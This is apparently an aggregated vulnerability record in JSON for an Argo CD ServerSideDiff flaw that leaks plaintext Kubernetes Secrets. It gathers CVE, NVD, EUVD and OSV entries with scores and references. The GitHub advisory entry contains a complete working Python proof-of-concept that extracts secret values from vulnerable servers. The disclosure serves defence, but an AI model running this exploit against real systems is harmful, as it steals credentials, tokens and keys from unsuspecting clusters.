{"id":"CVE-2026-43824","revision":null,"records":[{"revision":"7a56d11ab3c247ff8a50fb24be817391","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42880","aliases":[],"title":"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.","state":0,"publishedAt":"2026-05-07T22:20:39.506+00:00","modifiedAt":"2026-09-07T12:04:55.409+00:00","affected":[{"ecosystem":"Vendor product","name":"argo-cd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"argoproj\",\n                    \"product\": \"argo-cd\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.2.0, < 3.2.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.3.0, < 3.3.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42880","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42880","identifiers":["CVE-2026-42880"]},"retained":false,"historicalAffected":[]},{"revision":"b96bddecfa2f467f9ac2acba4e990d2f","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-43824","aliases":[],"title":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","description":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","state":0,"publishedAt":"2026-05-02T01:20:33.348+00:00","modifiedAt":"2026-07-15T00:55:34.28+00:00","affected":[{"ecosystem":"Vendor product","name":"Argo CD","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"Argo CD\",\n                    \"vendor\": \"argoproj\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"3.2.11\",\n                            \"status\": \"affected\",\n                            \"version\": \"3.2.0\",\n                            \"versionType\": \"semver\"\n                        },\n                        {\n                            \"lessThan\": \"3.3.9\",\n                            \"status\": \"affected\",\n                            \"version\": \"3.3.0\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43824","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-43824","identifiers":["CVE-2026-43824"]},"retained":false,"historicalAffected":[]},{"revision":"871296e4293d4dac8f625e392229195f","observedAt":"2026-11-01T07:16:09.993+00:00","statement":{"source":"euvd","id":"EUVD-2026-26726","aliases":["CVE-2026-43824"],"title":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","description":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":null}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-26726","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 2, 2026, 1:20:33 AM","dateUpdated":"Jul 15, 2026, 12:55:34 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-26726","identifiers":["EUVD-2026-26726","CVE-2026-43824"]},"retained":false,"historicalAffected":[]},{"revision":"d35f5fb84ddf463697d2535f7a3a4de0","observedAt":"2026-11-01T07:15:10.19+00:00","statement":{"source":"euvd","id":"EUVD-2026-28469","aliases":["CVE-2026-42880","GHSA-3v3m-wc6v-x4x3"],"title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows…","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":null}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28469","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 7, 2026, 10:20:39 PM","dateUpdated":"Sep 7, 2026, 12:04:55 PM"},"relatedAdvisories":[{"id":"RHSA-2026:20943","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.19.4 security update","vulnerabilityIds":["CVE-2026-4800","CVE-2026-32281","CVE-2026-33186","CVE-2026-33487","CVE-2026-42880"]},{"id":"RHBA-2026:12433","title":"Red Hat Bug Fix Advisory: Red Hat OpenShift GitOps v1.20.3 bug fix and enhancement update","vulnerabilityIds":["CVE-2026-42880"]},{"id":"RHSA-2026:20947","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.20.4 security update","vulnerabilityIds":["CVE-2026-32281","CVE-2026-32282","CVE-2026-42880"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28469","identifiers":["EUVD-2026-28469","CVE-2026-42880","GHSA-3v3m-wc6v-x4x3"]},"retained":false,"historicalAffected":[]},{"revision":"cf51bd3e65024ecbbede21ec3eace821","observedAt":"2026-10-27T11:12:04.713+00:00","statement":{"source":"nvd","id":"CVE-2026-42880","aliases":[],"title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows…","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.","state":0,"publishedAt":"2026-05-07T23:16:32.45+00:00","modifiedAt":"2026-10-26T20:10:00.16+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3","https://access.redhat.com/errata/RHBA-2026:12433","https://access.redhat.com/errata/RHSA-2026:20943","https://access.redhat.com/errata/RHSA-2026:20947","https://access.redhat.com/security/cve/CVE-2026-42880","https://bugzilla.redhat.com/show_bug.cgi?id=2467882","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42880.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42880","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-200","CWE-212","CWE-201"],"productCriteria":["cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-07T23:16:32.450","lastModified":"2026-10-26T20:10:00.160"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42880","identifiers":["CVE-2026-42880"]},"retained":false,"historicalAffected":[]},{"revision":"429de028d0b1471abc18bf885c1f2c00","observedAt":"2026-10-27T11:12:04.713+00:00","statement":{"source":"nvd","id":"CVE-2026-43824","aliases":[],"title":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","description":"In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.","state":0,"publishedAt":"2026-05-02T02:16:00.747+00:00","modifiedAt":"2026-10-26T20:10:00.16+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · cve@mitre.org · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3","https://access.redhat.com/security/cve/CVE-2026-43824","https://bugzilla.redhat.com/show_bug.cgi?id=2464613","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43824.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43824","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-212","CWE-312"],"productCriteria":[],"sourceDates":{"published":"2026-05-02T02:16:00.747","lastModified":"2026-10-26T20:10:00.160"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-43824","identifiers":["CVE-2026-43824"]},"retained":false,"historicalAffected":[]},{"revision":"09a25390b33d46c3bd21f00cd5c386a8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-3v3m-wc6v-x4x3","aliases":["BIT-argo-cd-2026-42880","CVE-2026-42880","CVE-2026-43824","GO-2026-5099"],"title":"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction","description":"### Summary\nThere is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{\n    TargetState:     string(diffRes.PredictedLive),\n    LiveState:       string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n    python3 poc.py <host> <token> <app> <project>\n\nExample:\n    python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n    out = []\n    while v > 0x7f:\n        out.append((v & 0x7f) | 0x80)\n        v >>= 7\n    out.append(v & 0x7f)\n    return bytes(out)\n\ndef encode_str(field, val):\n    tag = (field << 3) | 2\n    raw = val.encode()\n    return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n    tag = (field << 3) | 2\n    return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n    tag = (field << 3) | 0\n    return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n    val, shift = 0, 0\n    while pos < len(data):\n        b = data[pos]; pos += 1\n        val |= (b & 0x7f) << shift; shift += 7\n        if not (b & 0x80):\n            break\n    return val, pos\n\ndef decode_fields(data):\n    fields = defaultdict(list)\n    pos = 0\n    while pos < len(data):\n        tag, pos = decode_varint(data, pos)\n        wtype = tag & 0x07\n        if wtype == 0:\n            val, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(val)\n        elif wtype == 2:\n            length, pos = decode_varint(data, pos)\n            fields[tag >> 3].append(data[pos:pos + length])\n            pos += length\n        elif wtype == 5:\n            fields[tag >> 3].append(data[pos:pos + 4]); pos += 4\n        elif wtype == 1:\n            fields[tag >> 3].append(data[pos:pos + 8]); pos += 8\n        else:\n            break\n    return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n    return b\"\\x00\" + struct.pack(\">I\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n    frames, pos = [], 0\n    while pos + 5 <= len(data):\n        flag = data[pos]\n        length = struct.unpack(\">I\", data[pos+1:pos+5])[0]\n        pos += 5\n        frames.append((flag, data[pos:pos+length]))\n        pos += length\n    return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n    ctx = ssl.create_default_context()\n    ctx.check_hostname = False\n    ctx.verify_mode = ssl.CERT_NONE\n    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n    conn.request(\"GET\", path, headers={\n        \"Authorization\": \"Bearer \" + token,\n        \"Accept\": \"application/json\",\n    })\n    resp = conn.getresponse()\n    body = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n    conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n        body=grpc_frame(payload), headers={\n            \"Content-Type\": \"application/grpc-web+proto\",\n            \"Accept\": \"application/grpc-web+proto\",\n            \"X-Grpc-Web\": \"1\",\n            \"Authorization\": \"Bearer \" + token,\n        })\n    resp = conn.getresponse()\n    raw = resp.read()\n    if resp.status != 200:\n        return None, \"HTTP %d\" % resp.status\n    frames = decode_grpc_frames(raw)\n    for flag, fdata in frames:\n        if flag == 0:\n            return fdata, None\n    return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n    if len(sys.argv) != 5:\n        print(\"Usage: python3 poc.py <host> <token> <app> <project>\")\n        sys.exit(1)\n\n    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n    conn = make_conn(host)\n\n    # step 1: list managed resources for the app, find secrets\n    print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n    data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n    if err:\n        print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n    secrets = []\n    for r in data.get(\"items\", []):\n        if r.get(\"kind\") != \"Secret\":\n            continue\n        name = r.get(\"name\", \"\")\n        ns = r.get(\"namespace\", \"\")\n        live = r.get(\"liveState\", \"\")\n        stype = \"Opaque\"\n        if live and live != \"null\":\n            try:\n                stype = json.loads(live).get(\"type\", \"Opaque\")\n            except Exception:\n                pass\n        secrets.append((name, ns, stype, live))\n\n    if not secrets:\n        print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n    print(\"[+] Found %d secrets\" % len(secrets))\n\n    # step 2: call ServerSideDiff for each secret\n    total_extracted = 0\n    for sname, sns, stype, live_json in secrets:\n        # build minimal target manifest (no data field)\n        target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n                  \"metadata\": {\"name\": sname, \"namespace\": sns},\n                  \"type\": stype}\n\n        # copy required annotations from live state for SA tokens\n        if live_json and live_json != \"null\":\n            try:\n                live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n                k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n                if k8s_annots:\n                    target[\"metadata\"][\"annotations\"] = k8s_annots\n            except Exception:\n                pass\n\n        # for TLS secrets, include required placeholder keys\n        if stype == \"kubernetes.io/tls\":\n            target[\"data\"] = {\n                \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n                \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n            }\n        elif stype == \"kubernetes.io/dockerconfigjson\":\n            target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b'{\"auths\":{}}').decode()}\n\n        # encode the grpc request\n        lr = b\"\"\n        lr += encode_str(2, \"Secret\")       # kind\n        lr += encode_str(3, sns)             # namespace\n        lr += encode_str(4, sname)           # name\n        if live_json:\n            lr += encode_str(6, live_json)   # liveState\n        lr += encode_bool(12, True)          # modified\n\n        query = encode_str(1, app_name)\n        query += encode_str(3, project)\n        query += encode_bytes(4, lr)\n        query += encode_str(5, json.dumps(target))\n\n        # reconnect for each call (simple, no pool needed for poc)\n        try:\n            conn = make_conn(host)\n            resp_data, err = grpc_post(conn, token, query)\n        except Exception as e:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, e))\n            continue\n        if err:\n            print(\"  [!] %s/%s: %s\" % (sns, sname, err))\n            continue\n\n        # parse response\n        resp_fields = decode_fields(resp_data)\n        for item_bytes in resp_fields.get(1, []):\n            if not isinstance(item_bytes, bytes):\n                continue\n            ifields = decode_fields(item_bytes)\n\n            # field 5 = targetState (predictedLive — has real values from etcd)\n            for raw in ifields.get(5, []):\n                if not isinstance(raw, bytes):\n                    continue\n                try:\n                    obj = json.loads(raw)\n                except Exception:\n                    continue\n                if obj.get(\"kind\") != \"Secret\":\n                    continue\n                secret_data = obj.get(\"data\", {})\n                if not secret_data:\n                    continue\n\n                # check for real (non-masked) values\n                real_keys = {}\n                for k, v in secret_data.items():\n                    if not v:\n                        continue\n                    if all(c == \"+\" for c in v):\n                        continue  # masked by argocd\n                    try:\n                        decoded = base64.b64decode(v)\n                        text = decoded.decode(\"utf-8\", errors=\"replace\")\n                    except Exception:\n                        continue\n                    if all(c == \"+\" for c in text) and text:\n                        continue  # masked (base64 of +++...)\n                    real_keys[k] = text\n\n                if real_keys:\n                    total_extracted += 1\n                    print(\"\\n  [***] %s/%s  (%s)\" % (sns, sname, stype))\n                    print(\"        %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n                    for k in sorted(real_keys):\n                        v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n                        if len(v) > 120:\n                            v = v[:120] + \"...\"\n                        print(\"          %s: %s\" % (k, v))\n\n    print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.","state":0,"publishedAt":"2026-05-07T01:56:53+00:00","modifiedAt":"2026-10-21T03:11:56.3426864+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.2.0"},{"kind":"fixed","version":"3.2.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.3.0"},{"kind":"fixed","version":"3.3.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3","https://nvd.nist.gov/vuln/detail/CVE-2026-42880","https://github.com/argoproj/argo-cd"],"sourceUrl":"https://github.com/advisories/GHSA-3v3m-wc6v-x4x3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3v3m-wc6v-x4x3","identifiers":["GHSA-3v3m-wc6v-x4x3","BIT-argo-cd-2026-42880","CVE-2026-42880","CVE-2026-43824","GO-2026-5099"]},"retained":false,"historicalAffected":[]},{"revision":"ac098301d1584d068fc4f9c68aed30ad","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5099","aliases":["BIT-argo-cd-2026-42880","CVE-2026-42880","CVE-2026-43824","GHSA-3v3m-wc6v-x4x3"],"title":"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction in github.com/argoproj/argo-cd","description":"ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction in github.com/argoproj/argo-cd","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-07-08T08:11:34.582856+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.2.0"},{"kind":"fixed","version":"3.2.11"},{"kind":"introduced","version":"3.3.0"},{"kind":"fixed","version":"3.3.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3","https://nvd.nist.gov/vuln/detail/CVE-2026-42880"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5099","license":"OSV · upstream source license applies","key":"osv:GO-2026-5099","identifiers":["GO-2026-5099","BIT-argo-cd-2026-42880","CVE-2026-42880","CVE-2026-43824","GHSA-3v3m-wc6v-x4x3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-02T14:59:27.3742556+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-02T14:59:27.3742556+00:00","lastSuccessAt":"2026-11-02T14:59:27.5398045+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:27.5398049+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-37087f5ac35d6d996bd0480d4228062695465d95096b336bdfd509d8efa3a1e5-e9090eff5bc590c67f3f1419d8577c44ef22f348a02ffe003f67c52a46acd979","complete":true,"records":417855,"lastAttemptAt":"2026-11-02T14:57:29.5569228+00:00","lastSuccessAt":"2026-11-02T14:57:29.5030542+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:57:29.5569228+00:00","snapshotPublishedAt":"2026-11-02T14:22:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3afbfcfae1fe455bbc5a5006f95b2df4","complete":true,"records":13568,"lastAttemptAt":"2026-11-02T14:59:29.4659591+00:00","lastSuccessAt":"2026-11-02T11:59:30.621+00:00","error":null,"lastVerifiedAt":"2026-11-02T11:59:30.621+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-02T14:59:27.3742556+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-02T14:59:27.3742556+00:00","lastSuccessAt":"2026-11-02T14:59:27.5408035+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:27.5408036+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-622e6c116ade494aa7fc9e124415c9ab","complete":true,"records":13580,"lastAttemptAt":"2026-11-02T14:59:28.840649+00:00","lastSuccessAt":"2026-11-02T14:59:28.837+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:28.837+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-02T14:59:27.220262+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:27.220262+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-02T14:57:29.6157326+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:57:29.6157326+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5eac0f41c5234939771ec81ee6dcecba911c3ba21e363f4cecd95fcede18b96b","complete":true,"records":3035,"lastAttemptAt":"2026-11-02T14:59:27.328544+00:00","lastSuccessAt":"2026-11-02T13:57:36.6498985+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:27.328544+00:00","snapshotPublishedAt":"2026-11-02T12:18:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 